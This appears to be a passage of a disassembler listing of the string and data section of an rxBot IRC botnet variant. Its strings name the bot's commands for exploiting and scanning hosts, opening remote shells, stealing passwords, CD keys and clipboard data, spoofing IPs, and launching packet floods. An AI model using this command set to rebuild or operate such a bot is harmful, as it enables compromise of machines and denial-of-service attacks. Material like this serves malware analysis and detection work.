___:0043833Co ... unicode 0, <v>,0 aVisit db 'visit',0 ; DATA XREF: sub_401ACD+3FB6o align 10h aLi db 'li',0 ; DATA XREF: sub_401ACD+3FA1o align 4 aList db 'list',0 ; DATA XREF: sub_401ACD+3F8Co align 4 aGt db 'gt',0 ; DATA XREF: sub_401ACD+3F77o align 10h aDel db 'del',0 ; DATA XREF: sub_401ACD+3F4Do aDelete db 'delete',0 ; DATA XREF: sub_401ACD+3F38o ; sub_401ACD+4645o align 4 aKi db 'ki',0 ; DATA XREF: sub_401ACD+3F23o align 10h aKill db 'kill',0 ; DATA XREF: sub_401ACD+3F0Eo align 4 aKp db 'kp',0 ; DATA XREF: sub_401ACD+3EF9o align 4 aKillproc db 'killproc',0 ; DATA XREF: sub_401ACD+3EE4o align 4 aDn db 'dn',0 ; DATA XREF: sub_401ACD+3ECFo align 4 aDns db 'dns',0 ; DATA XREF: sub_401ACD+3EBAo aSe db 'se',0 ; DATA XREF: sub_401ACD+3EA5o align 4 aO: ; DATA XREF: sub_401ACD+3E7Bo ; ___:0043866Co unicode 0, <o>,0 aOpen db 'open',0 ; DATA XREF: sub_401ACD+3E66o ; sub_401ACD+590Co ... align 10h aPr db 'pr',0 ; DATA XREF: sub_401ACD+3E51o align 4 aPrefix db 'prefix',0 ; DATA XREF: sub_401ACD+3E3Co align 4 aC_rn db 'c_rn',0 ; DATA XREF: sub_401ACD+3E27o align 4 aC_rndnick db 'c_rndnick',0 ; DATA XREF: sub_401ACD+3E12o align 10h aC_q db 'c_q',0 ; DATA XREF: sub_401ACD+3DFDo aC_quit db 'c_quit',0 ; DATA XREF: sub_401ACD+3DE8o align 4 aK: ; DATA XREF: sub_401ACD+3DD3o ; ___:00438328o ... unicode 0, <k>,0 aKillthread db 'killthread',0 ; DATA XREF: sub_401ACD+3DBEo align 4 aRaw db 'raw',0 ; DATA XREF: sub_401ACD+3D94o aPt db 'pt',0 ; DATA XREF: sub_401ACD+3D7Fo align 4 aJ: ; DATA XREF: sub_401ACD+3D55o ; ___:00438324o ... unicode 0, <j>,0 aN: ; DATA XREF: sub_401ACD+3D2Bo ; ___:00438344o ... unicode 0, <n>,0 unk_42BA4C db 2Dh ; - ; DATA XREF: sub_401ACD+3CF7o db 3, 34h, 2 db 69h ; i db 72h, 63h, 66h db 75h ; u db 63h, 6Bh, 2 db 3 aDisconnectingC db '- disconnecting clones...',0 align 4 aNickservRegist db 'nickserv register %s %s',0 ; DATA XREF: sub_401ACD+3C93o aRegister db 'register',0 ; DATA XREF: sub_401ACD+3C6Ao align 4 aPrivmsgSS_0 db 'PRIVMSG %s :%s',0 ; DATA XREF: sub_401ACD+3C11o align 4 aMix db 'mix',0 ; DATA XREF: sub_401ACD+3B44o dword_42BAAC dd 56495250h, 2047534Dh, 3A207325h, 6E696601h, 1726567h ; DATA XREF: sub_401ACD+3AF0o ; sub_401ACD+3B27o dd 0 dword_42BAC4 dd 56495250h, 2047534Dh, 3A207325h, 72657601h, 6E6F6973h ; DATA XREF: sub_401ACD+3AB9o dd 1 dword_42BADC dd 56495250h, 2047534Dh, 3A207325h, 6E697001h, 167h ; DATA XREF: sub_401ACD+3A82o ; sub_401ACD+3B99o aCtcp db 'ctcp',0 ; DATA XREF: sub_401ACD+3A2Do align 4 aNoticeSS_0 db 'NOTICE %s :%s',0 ; DATA XREF: sub_401ACD+3998o ; sub_401ACD+39D4o ... align 4 aNotice_0 db 'notice',0 ; DATA XREF: sub_401ACD+393Eo align 10h aMsg db 'msg',0 ; DATA XREF: sub_401ACD+384Fo aChgnick db 'chgnick',0 ; DATA XREF: sub_401ACD+3808o aNick_0 db 'nick',0 ; DATA XREF: sub_401ACD+3706o ; sub_401ACD+3D16o align 4 dword_42BB24 dd 56495250h, 2047534Dh, 3A207325h, 43434401h, 4E455320h ; DATA XREF: sub_401ACD+36E9o dd 64252044h, 2064252Eh, 25206425h, 64252064h, 1 dword_42BB4C dd 636364h ; DATA XREF: sub_401ACD+366Co dword_42BB50 dd 6E696F6Ah, 7261702Fh, 74h ; DATA XREF: sub_401ACD+351Fo dword_42BB5C dd 4B43494Eh, 732520h ; DATA XREF: sub_401ACD+3502o ; sub_401ACD+3763o ... dword_42BB64 dd 69257325h, 0 ; DATA XREF: sub_401ACD+34E7o ; sub_40ACB6+4Fo ... aPnick db 'pnick',0 ; DATA XREF: sub_401ACD+34A6o align 4 aPartSS db 'part %s %s',0 ; DATA XREF: sub_401ACD+3489o ; sub_401ACD+3579o ... align 10h aPartflood db 'partflood',0 ; DATA XREF: sub_401ACD+3462o align 4 aPartS db 'part %s',0 ; DATA XREF: sub_401ACD+3445o aPart_0 db 'part',0 ; DATA XREF: sub_401ACD+3423o ; sub_401ACD+3D6Ao align 4 aJoinS db 'join %s',0 ; DATA XREF: sub_401ACD+3406o ; sub_401ACD+354Do ... aJoin db 'join',0 ; DATA XREF: sub_401ACD+33E4o ; sub_401ACD+3D40o align 4 aModeSS db 'mode %s %s',0 ; DATA XREF: sub_401ACD+33C7o align 4 aMode db 'mode',0 ; DATA XREF: sub_401ACD+3378o ; sub_401ACD+48F2o align 10h aNoticeSS_1 db 'notice %s :%s',0 ; DATA XREF: sub_401ACD+335Bo align 10h aNt db 'nt',0 ; DATA XREF: sub_401ACD+330Co align 4 dword_42BBD4 dd 76697270h, 2067736Dh, 3A207325h, 1732501h, 0 ; DATA XREF: sub_401ACD+32EFo dword_42BBE8 dd 7463h ; DATA XREF: sub_401ACD+32A0o dword_42BBEC dd 76697270h, 2067736Dh, 3A207325h, 7325h ; DATA XREF: sub_401ACD+3283o ; sub_401ACD+38A9o ... dword_42BBFC dd 5Fh ; DATA XREF: sub_401ACD+3254o ; sub_401ACD+32C0o ... dword_42BC00 dd 6D70h ; DATA XREF: sub_401ACD+3234o ; sub_401ACD+487Fo unk_42BC04 db 2Dh ; - ; DATA XREF: sub_401ACD+3202o db 3, 34h, 2 db 69h ; i db 72h, 63h, 66h db 75h ; u db 63h, 6Bh, 2 db 3 aSClonesLoadedT db '- %s clones loaded to %s:%s',0 align 10h aLoad db 'load',0 ; DATA XREF: sub_401ACD+31ABo align 4 aFlood db 'flood',0 ; DATA XREF: sub_401ACD+3182o align 10h aRinms db 'rinms',0 ; DATA XREF: sub_401ACD+316Bo align 4 aReconnect_in_m db 'reconnect.in.ms',0 ; DATA XREF: sub_401ACD+3156o aRin db 'rin',0 ; DATA XREF: sub_401ACD+3141o aReconnect_in db 'reconnect.in',0 ; DATA XREF: sub_401ACD+312Co align 4 unk_42BC6C db 2Dh ; - ; DATA XREF: sub_401ACD+3121o db 3, 34h, 2 db 65h ; e db 78h, 70h, 6Ch db 6Fh ; o db 69h, 74h, 2 db 3 aFailedToStartE db '- Failed to start exploiter thread, error: <%d>.',0 align 4 unk_42BCAC db 2Dh ; - ; DATA XREF: sub_401ACD+30AFo db 3, 34h, 2 db 65h ; e db 78h, 70h, 6Ch db 6Fh ; o db 69h, 74h, 2 db 3 aAttemptingToCo db '- attempting to compromise %s...',0 align 4 aExploit db 'exploit',0 ; DATA XREF: sub_401ACD+3029o unk_42BCE4 db 2Dh ; - ; DATA XREF: sub_401ACD+300Fo db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 73h db 70h ; p db 2 dup(6Fh), 66h db 29h ; ) db 2, 3, 2Dh aSpoofIpSetToS_ db ' Spoof IP set to ',27h,'%s',27h,'.',0 align 10h unk_42BD10 db 2Dh ; - ; DATA XREF: sub_401ACD+2FF1o db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 73h db 70h ; p db 2 dup(6Fh), 66h db 29h ; ) db 2, 3, 2Dh aSIsAnInvalidIp db ' ',27h,'%s',27h,' is an invalid IP address.',0 aD_D_D_ db '%d.%d.%d.*',0 ; DATA XREF: sub_401ACD+2FCDo align 10h unk_42BD50 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_404A41o db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 73h db 70h ; p db 2 dup(6Fh), 66h db 29h ; ) db 2, 3, 2Dh aSpoofingCurren db ' Spoofing currently set to ',27h,'%s',27h,'.',0 align 4 aGet db 'get',0 ; DATA XREF: sub_401ACD:loc_404A23o ; sub_401ACD+3F62o unk_42BD8C db 2Dh ; - ; DATA XREF: sub_401ACD+2EDBo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aInvalidLoginSl db 'Invalid login slot number: %d.',0 align 4 unk_42BDB8 db 2Dh ; - ; DATA XREF: sub_401ACD+2ED3o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aNoUserLoggedIn db 'No user logged in at slot: %d.',0 align 4 dword_42BDE4 dd 234032Dh, 6E69616Dh, 202D0302h, 7325h ; DATA XREF: sub_401ACD+2E7Eo unk_42BDF4 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_40493Co db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aThisModOfRxbot db 'This mod of rxBot is dedicated to Pia Gerhardt (nameless@efnet/ir' db 'cnet), the Beautiful Operatress from Heaven (or Bitch Operatress ' db 'from Hell?) who I love so much.',0 align 4 dword_42BEA4 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_401ACD+2E4Co aFailedToSta_19 db '- Failed to start secure thread, error: <%d>.',0 align 10h dword_42BEE0 dd 234032Dh, 75636573h, 3026572h, 7325202Dh, 73797320h ; DATA XREF: sub_401ACD+2DD2o dd 2E6D6574h, 0 aUnsecuring db 'Unsecuring',0 ; DATA XREF: sub_401ACD+2DCCo align 4 aSecuring db 'Securing',0 ; DATA XREF: sub_401ACD+2DC5o align 4 unk_42BF14 db 2Dh ; - ; DATA XREF: sub_401ACD+2D4Eo db 3, 34h, 2 db 62h ; b db 69h, 6Eh, 64h db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2, 3, 2Dh aFailedToSta_20 db ' Failed to start server thread, error: <%d>.',0 align 4 unk_42BF54 db 2Dh ; - ; DATA XREF: sub_401ACD+2CCAo db 3, 34h, 2 db 62h ; b db 69h, 6Eh, 64h db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2, 3, 2Dh aServerStartedO db ' Server started on: %s:%d.',0 align 10h dword_42BF80 dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_401ACD+2C48o aFailedToSta_21 db '- Failed to start server thread, error: <%d>.',0 align 4 dword_42BFBC dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_401ACD+2BD9o aServerStarte_0 db '- Server started on: %s:%d.',0 dword_42BFE4 dd 234032Dh, 646E6966h, 656C6966h, 2D0302h ; DATA XREF: sub_401ACD+2B26o dword_42BFF4 dd 646E6946h, 6C696620h, 65h ; DATA XREF: sub_401ACD+2B21o dword_42C000 dd 234032Dh, 636F7270h, 2D030273h, 0 ; DATA XREF: sub_401ACD+2B0Eo dword_42C010 dd 636F7250h, 20737365h, 7473696Ch, 0 ; DATA XREF: sub_401ACD+2B09o dword_42C020 dd 234032Dh, 6E69616Dh, 202D0302h, 6F636552h, 63656E6Eh ; DATA XREF: sub_401ACD+2A96o dd 676E6974h, 2Eh aQuitReconnecti db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_404556o ; sub_401ACD:loc_409779o ... align 4 dword_42C054 dd 234032Dh, 6E69616Dh, 202D0302h, 63736944h, 656E6E6Fh ; DATA XREF: sub_401ACD+2A74o dd 6E697463h, 2E67h aQuitDisconnect db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_404534o align 4 aQuitLater db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_40451Eo ; sub_401ACD+7A7Fo align 4 aQuitS db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+2A3Fo align 4 unk_42C0A4 db 2Dh ; - ; DATA XREF: sub_401ACD+2A18o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aStatusReady_Bo db 'Status: Ready. Bot Uptime: %s.',0 align 10h dword_42C0D0 dd 234032Dh, 6E69616Dh, 202D0302h, 20746F42h, 203A4449h ; DATA XREF: sub_401ACD+29D9o dd 2E7325h unk_42C0E8 db 2Dh ; - ; DATA XREF: sub_401ACD+29CAo db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aFailedToSta_22 db '- Failed to start list thread, error: <%d>.',0 align 4 dword_42C124 dd 234032Dh, 65726874h, 2736461h, 4C202D03h, 20747369h ; DATA XREF: sub_401ACD+295Bo dd 65726874h, 2E736461h, 0 dword_42C144 dd 627573h ; DATA XREF: sub_401ACD+2935o dword_42C148 dd 234032Dh, 6E69616Dh, 202D0302h, 61696C41h, 696C2073h ; DATA XREF: sub_401ACD+28E3o dd 2E7473h unk_42C160 db 2Dh ; - ; DATA XREF: sub_401ACD+28C8o db 3, 34h, 2 db 6Ch ; l db 6Fh, 67h, 2 db 3 aFailedToSta_23 db '- Failed to start listing thread, error: <%d>.',0 dword_42C198 dd 234032Dh, 2676F6Ch, 4C202D03h, 69747369h, 6C20676Eh ; DATA XREF: sub_401ACD+2859o dd 2E676Fh dword_42C1B0 dd 234032Dh, 6E69616Dh, 202D0302h, 7774654Eh, 206B726Fh ; DATA XREF: sub_401ACD+27B4o dd 6F666E49h, 2Eh dword_42C1CC dd 234032Dh, 6E69616Dh, 202D0302h, 74737953h, 49206D65h ; DATA XREF: sub_401ACD+2785o dd 2E6F666Eh, 0 dword_42C1E8 dd 234032Dh, 6E69616Dh, 202D0302h, 6F6D6552h, 676E6976h ; DATA XREF: sub_401ACD+2730o dd 746F4220h, 2Eh unk_42C204 db 2Dh ; - ; DATA XREF: sub_401ACD+2714o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aFailedToSta_24 db ' Failed to start listing thread, error: <%d>.',0 align 10h dword_42C240 dd 234032Dh, 636F7270h, 2D030273h, 6F725020h, 73656363h ; DATA XREF: sub_401ACD+269Fo dd 696C2073h, 2E7473h aFull db 'full',0 ; DATA XREF: sub_401ACD+267Fo align 4 unk_42C264 db 2Dh ; - ; DATA XREF: sub_401ACD+261Do db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aAlreadyRunni_3 db ' Already running.',0 align 4 dword_42C284 dd 234032Dh, 656B6463h, 3027379h ; DATA XREF: sub_401ACD+25FAo aSearchComplete db '- Search completed.',0 dword_42C2A4 dd 234032Dh, 6E69616Dh, 202D0302h, 69747055h, 203A656Dh ; DATA XREF: sub_401ACD+25AEo dd 2E7325h unk_42C2BC db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403FEBo db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aRemoteShellRea db '- Remote shell ready.',0 align 4 unk_42C2DC db 2Dh ; - ; DATA XREF: sub_401ACD+2514o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aCouldnTOpenRem db '- Couldn',27h,'t open remote shell.',0 align 4 unk_42C304 db 2Dh ; - ; DATA XREF: sub_401ACD+24F5o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aRemoteShellAlr db '- Remote shell already running.',0 align 10h dword_42C330 dd 234032Dh, 6E69616Dh, 202D0302h, 20746547h, 70696C43h ; DATA XREF: sub_401ACD+24DFo dd 72616F62h, 2E64h dword_42C34C dd 234032Dh, 70696C63h, 72616F62h, 61642064h, 3026174h ; DATA XREF: sub_401ACD+24B1o dd 2Dh unk_42C364 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403F6Eo db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aFailedToFlushA db 'Failed to flush ARP cache.',0 align 10h unk_42C390 db 2Dh ; - ; DATA XREF: sub_401ACD+249Ao db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aArpCacheFlushe db 'ARP cache flushed.',0 align 4 unk_42C3B4 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403F43o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aFailedToLoadDn db 'Failed to load dnsapi.dll.',0 align 10h unk_42C3E0 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403F3Co db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aFailedToFlushD db 'Failed to flush DNS cache.',0 align 4 unk_42C40C db 2Dh ; - ; DATA XREF: sub_401ACD+2468o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aDnsCacheFlushe db 'DNS cache flushed.',0 align 10h unk_42C430 db 2Dh ; - ; DATA XREF: sub_401ACD+2415o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToSta_25 db '- Failed to start server thread, error: <%d>.',0 align 4 unk_42C46C db 2Dh ; - ; DATA XREF: sub_401ACD+23A6o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aServerListenin db '- Server listening on IP: %s:%d, Username: %s.',0 unk_42C4A8 db 2Dh ; - ; DATA XREF: sub_401ACD+22C0o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_26 db ' Failed to start server thread, error: <%d>.',0 align 4 unk_42C4E4 db 2Dh ; - ; DATA XREF: sub_401ACD+2255o ; sub_40BACE+449o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aServerListen_0 db ' Server listening on IP: %s:%d, Directory: %s\.',0 unk_42C520 db 2Dh ; - ; DATA XREF: sub_401ACD+214Eo db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_27 db ' Failed to start server thread, error: <%d>.',0 align 4 unk_42C55C db 2Dh ; - ; DATA XREF: sub_401ACD+20DFo ; sub_40BACE+DAo db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aServerStarte_1 db ' Server started on Port: %d, File: %s.',0 align 10h unk_42C590 db 2Dh ; - ; DATA XREF: sub_401ACD+202Ao db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aAlreadyRunni_4 db ' Already running.',0 align 10h unk_42C5B0 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403AE1o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 61h ; a db 2 dup(6Ch), 2 db 3 aFailedToSta_28 db '- Failed to start scan, port is invalid.',0 align 4 unk_42C5E8 db 2Dh ; - ; DATA XREF: sub_401ACD+1FC4o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 61h ; a db 2 dup(6Ch), 2 db 3 aFailedToSta_29 db '- Failed to start scan thread, error: <%d>.',0 align 4 unk_42C624 db 2Dh ; - ; DATA XREF: sub_401ACD+1F53o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 61h ; a db 2 dup(6Ch), 2 db 3 aSPortScanSta_0 db '- %s Port Scan started on %s:%d with a delay of %d seconds for %d' db ' minutes using %d threads.',0 align 10h aSequential db 'Sequential',0 ; DATA XREF: sub_401ACD+1F28o ; sub_401ACD+5BEFo align 4 aRandom db 'Random',0 ; DATA XREF: sub_401ACD+1F21o ; sub_401ACD+5BE8o align 4 unk_42C6A4 db 2Dh ; - ; DATA XREF: sub_401ACD+1D6Eo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 61h ; a db 2 dup(6Ch), 2 db 3 aAlreadyDScan_0 db '- Already %d scanning threads. Too many specified.',0 unk_42C6E4 db 2Dh ; - ; DATA XREF: sub_401ACD+1D10o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aFailedToSta_30 db 'Failed to start search thread, error: <%d>.',0 unk_42C720 db 2Dh ; - ; DATA XREF: sub_401ACD+1C96o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aSearchingForPa db 'Searching for password.',0 aFp db 'fp',0 ; DATA XREF: sub_401ACD+1C4Do align 4 aFindpass db 'findpass',0 ; DATA XREF: sub_401ACD+1C3Co align 4 aNoticeSPhoning db 'NOTICE %s :PHONING HOME: hi ;).',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1C29o align 4 aPhonehome db 'phonehome',0 ; DATA XREF: sub_401ACD+1C12o align 4 aAsc db 'asc',0 ; DATA XREF: sub_401ACD+1BE8o dword_42C78C dd 234032Dh, 6E69616Dh, 202D0302h, 73617243h, 676E6968h ; DATA XREF: sub_401ACD+1B98o dd 746F6220h, 2Eh aCrash db 'crash',0 ; DATA XREF: sub_401ACD+1B82o ; sub_401ACD+1BD2o align 10h aTftp db 'tftp',0 ; DATA XREF: sub_401ACD+1B6Do align 4 aTftpserver db 'tftpserver',0 ; DATA XREF: sub_401ACD+1B58o align 4 aHttp db 'http',0 ; DATA XREF: sub_401ACD+1B43o align 4 aHttpserver db 'httpserver',0 ; DATA XREF: sub_401ACD+1B2Eo align 4 aRlogin db 'rlogin',0 ; DATA XREF: sub_401ACD+1B19o align 10h aRloginserver db 'rloginserver',0 ; DATA XREF: sub_401ACD+1B04o align 10h aCip db 'cip',0 ; DATA XREF: sub_401ACD+1AEFo aCurrentip db 'currentip',0 ; DATA XREF: sub_401ACD+1ADAo align 10h aFdns db 'fdns',0 ; DATA XREF: sub_401ACD+1AC5o align 4 aFlushdns db 'flushdns',0 ; DATA XREF: sub_401ACD+1AB0o align 4 aFarp db 'farp',0 ; DATA XREF: sub_401ACD+1A9Bo align 4 aFlusharp db 'flusharp',0 ; DATA XREF: sub_401ACD+1A86o align 4 aGc db 'gc',0 ; DATA XREF: sub_401ACD+1A71o align 4 aGetclip db 'getclip',0 ; DATA XREF: sub_401ACD+1A5Co unk_42C834 db 2Dh ; - ; DATA XREF: sub_401ACD+1A1Eo db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 73h db 70h ; p db 2 dup(6Fh), 66h db 29h ; ) db 2, 3, 2Dh aSpoofingDisabl db ' Spoofing disabled.',0 aOff db 'off',0 ; DATA XREF: sub_401ACD+1A03o ; sub_401ACD+3CB0o ... aSpoof db 'spoof',0 ; DATA XREF: sub_401ACD+19ECo align 4 unk_42C868 db 2Dh ; - ; DATA XREF: sub_401ACD+19CEo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aLoginListCompl db 'Login list complete.',0 align 4 aD_S db '%d. %s',0 ; DATA XREF: sub_401ACD+1996o align 4 aEmpty db '<Empty>',0 ; DATA XREF: sub_401ACD:loc_403454o dword_42C89C dd 234032Dh, 69676F6Ch, 696C206Eh, 3027473h, 2Dh ; DATA XREF: sub_401ACD+195Co dword_42C8B0 dd 6F6877h ; DATA XREF: sub_401ACD+193Fo dword_42C8B4 dd 234032Dh, 2646D63h, 2D03h ; DATA XREF: sub_401ACD+1934o dword_42C8C0 dd 6F6D6552h, 73206574h, 6C6C6568h, 0 ; DATA XREF: sub_401ACD+192Fo aCmdstop db 'cmdstop',0 ; DATA XREF: sub_401ACD+1916o aOcmd db 'ocmd',0 ; DATA XREF: sub_401ACD+1901o align 10h aOpencmd db 'opencmd',0 ; DATA XREF: sub_401ACD+18ECo aDll db 'dll',0 ; DATA XREF: sub_401ACD+18D7o aTestdlls db 'testdlls',0 ; DATA XREF: sub_401ACD+18C2o align 4 aDrv db 'drv',0 ; DATA XREF: sub_401ACD+18ADo aDriveinfo db 'driveinfo',0 ; DATA XREF: sub_401ACD+1898o align 4 aUp db 'up',0 ; DATA XREF: sub_401ACD+1883o align 4 aUptime db 'uptime',0 ; DATA XREF: sub_401ACD+186Eo align 4 aKey db 'key',0 ; DATA XREF: sub_401ACD+1859o aGetcdkeys db 'getcdkeys',0 ; DATA XREF: sub_401ACD+1844o align 4 aPs db 'ps',0 ; DATA XREF: sub_401ACD+182Fo align 4 aProcs db 'procs',0 ; DATA XREF: sub_401ACD+181Ao align 10h aLsp100 db 'lsp100',0 ; DATA XREF: sub_401ACD+17F0o ; sub_401ACD+1805o align 4 aSi db 'si',0 ; DATA XREF: sub_401ACD+17DBo align 4 aSysinfo db 'sysinfo',0 ; DATA XREF: sub_401ACD+17C6o aNi db 'ni',0 ; DATA XREF: sub_401ACD+17B1o align 4 aNetinfo db 'netinfo',0 ; DATA XREF: sub_401ACD+179Co aClg db 'clg',0 ; DATA XREF: sub_401ACD+1787o aClearlog db 'clearlog',0 ; DATA XREF: sub_401ACD+1772o align 10h aLg db 'lg',0 ; DATA XREF: sub_401ACD+175Do align 4 aLog db 'log',0 ; DATA XREF: sub_401ACD+1748o aAl db 'al',0 ; DATA XREF: sub_401ACD+1733o align 4 aAliases db 'aliases',0 ; DATA XREF: sub_401ACD+171Eo aT: ; DATA XREF: sub_401ACD+1709o ; ___:004382F8o ... unicode 0, <t>,0 aThreads db 'threads',0 ; DATA XREF: sub_401ACD+16F4o unk_42C980 db 2Dh ; - ; DATA XREF: sub_401ACD+16C0o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aFailedToReboot db 'Failed to reboot system.',0 align 4 unk_42C9A8 db 2Dh ; - ; DATA XREF: sub_401ACD+16B9o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aRebootingSyste db 'Rebooting system.',0 align 4 aReboot db 'reboot',0 ; DATA XREF: sub_401ACD+16A2o align 10h aI: ; DATA XREF: sub_401ACD+168Do ; ___:00438304o ... unicode 0, <i>,0 aId db 'id',0 ; DATA XREF: sub_401ACD+1678o align 4 aS_0: ; DATA XREF: sub_401ACD+1663o ; ___:00438310o ... unicode 0, <s>,0 aStatus db 'status',0 ; DATA XREF: sub_401ACD+164Eo align 4 aQ: ; DATA XREF: sub_401ACD+1639o ; ___:off_4382E8o ... unicode 0, <q>,0 aQuit_0 db 'quit',0 ; DATA XREF: sub_401ACD+1624o align 10h aDc db 'dc',0 ; DATA XREF: sub_401ACD+160Fo align 4 aDisconnect db 'disconnect',0 ; DATA XREF: sub_401ACD+15FAo align 10h aR: ; DATA XREF: sub_401ACD+15E5o ; sub_401ACD+3DA9o ... unicode 0, <r>,0 aReconnect db 'reconnect',0 ; DATA XREF: sub_401ACD+15D0o align 10h aExplist db 'explist',0 ; DATA XREF: sub_401ACD+15BBo aExploitlist db 'exploitlist',0 ; DATA XREF: sub_401ACD+15A6o aCbstats db 'cbstats',0 ; DATA XREF: sub_401ACD+1591o aConnectbacksta db 'connectbackstats',0 ; DATA XREF: sub_401ACD+157Co align 10h aTrstats db 'trstats',0 ; DATA XREF: sub_401ACD+1567o aTransferstats db 'transferstats',0 ; DATA XREF: sub_401ACD+1552o align 4 aStats db 'stats',0 ; DATA XREF: sub_401ACD+153Do align 10h aScanstats db 'scanstats',0 ; DATA XREF: sub_401ACD+1528o align 4 dword_42CA6C dd 234032Dh, 6E616373h, 2D0302h ; DATA XREF: sub_401ACD+151Do aScan_0 db 'Scan',0 ; DATA XREF: sub_401ACD+1518o align 10h aScanstop db 'scanstop',0 ; DATA XREF: sub_401ACD+14FFo align 4 dword_42CA8C dd 234032Dh, 75636573h, 3026572h, 2Dh ; DATA XREF: sub_401ACD+14F4o aSecure_0 db 'Secure',0 ; DATA XREF: sub_401ACD+14EFo align 4 aSecurestop db 'securestop',0 ; DATA XREF: sub_401ACD+14D6o align 10h dword_42CAB0 dd 234032Dh, 6E6F6C63h, 3027365h, 2Dh ; DATA XREF: sub_401ACD+14CBo aClone db 'Clone',0 ; DATA XREF: sub_401ACD+14C6o align 4 aClonestop db 'clonestop',0 ; DATA XREF: sub_401ACD+14ADo align 4 aPsstop db 'psstop',0 ; DATA XREF: sub_401ACD+1498o align 4 aProcsstop db 'procsstop',0 ; DATA XREF: sub_401ACD+1483o align 4 aFfstop db 'ffstop',0 ; DATA XREF: sub_401ACD+146Eo align 10h aFindfilestop db 'findfilestop',0 ; DATA XREF: sub_401ACD+1459o align 10h dword_42CB00 dd 234032Dh, 70746674h, 2D030264h, 0 ; DATA XREF: sub_401ACD+144Eo aTftpstop db 'tftpstop',0 ; DATA XREF: sub_401ACD+1430o align 4 aPingstop db 'pingstop',0 ; DATA XREF: sub_401ACD+1407o align 4 aUdpstop db 'udpstop',0 ; DATA XREF: sub_401ACD+13DEo aWisdomstop db 'wisdomstop',0 ; DATA XREF: sub_401ACD+13B5o align 4 aTsunamistop db 'tsunamistop',0 ; DATA XREF: sub_401ACD+138Co unk_42CB48 db 2Dh ; - ; DATA XREF: sub_401ACD+1372o db 3, 34h, 2 db 64h ; d db 64h, 6Fh, 73h db 2 db 3, 2Dh, 20h aAllPacketingAc db 'All packeting activity has been halted.',0 dword_42CB7C dd 234032Dh, 64736977h, 3026D6Fh, 2Dh ; DATA XREF: sub_401ACD+1337o ; 